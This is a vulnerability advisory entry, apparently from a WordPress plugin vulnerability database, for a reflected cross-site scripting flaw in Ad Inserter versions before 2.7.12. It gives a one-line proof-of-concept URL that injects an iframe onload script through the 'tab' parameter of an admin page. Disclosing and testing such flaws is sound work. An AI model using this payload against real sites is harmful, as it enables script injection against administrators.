WordPress Plugin Vulnerabilities
Ad Inserter < 2.7.12 - Reflected Cross-Site Scripting
Description
The plugins do not sanitise and escape the REQUEST_URI before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
Proof of Concept
In a browser which does not encode characters: https://example.com/wp-admin/options-general.php?page=ad-inserter.php&start=2&tab=\"><iframe/onload=alert(1)></iframe>
Affects Plugins
Fixed in 2.7.12
Fixed in 2.7.12 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Taurus Omar
Submitter
Taurus Omar
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-14 (about 2 years ago)
Added
2022-03-14 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)
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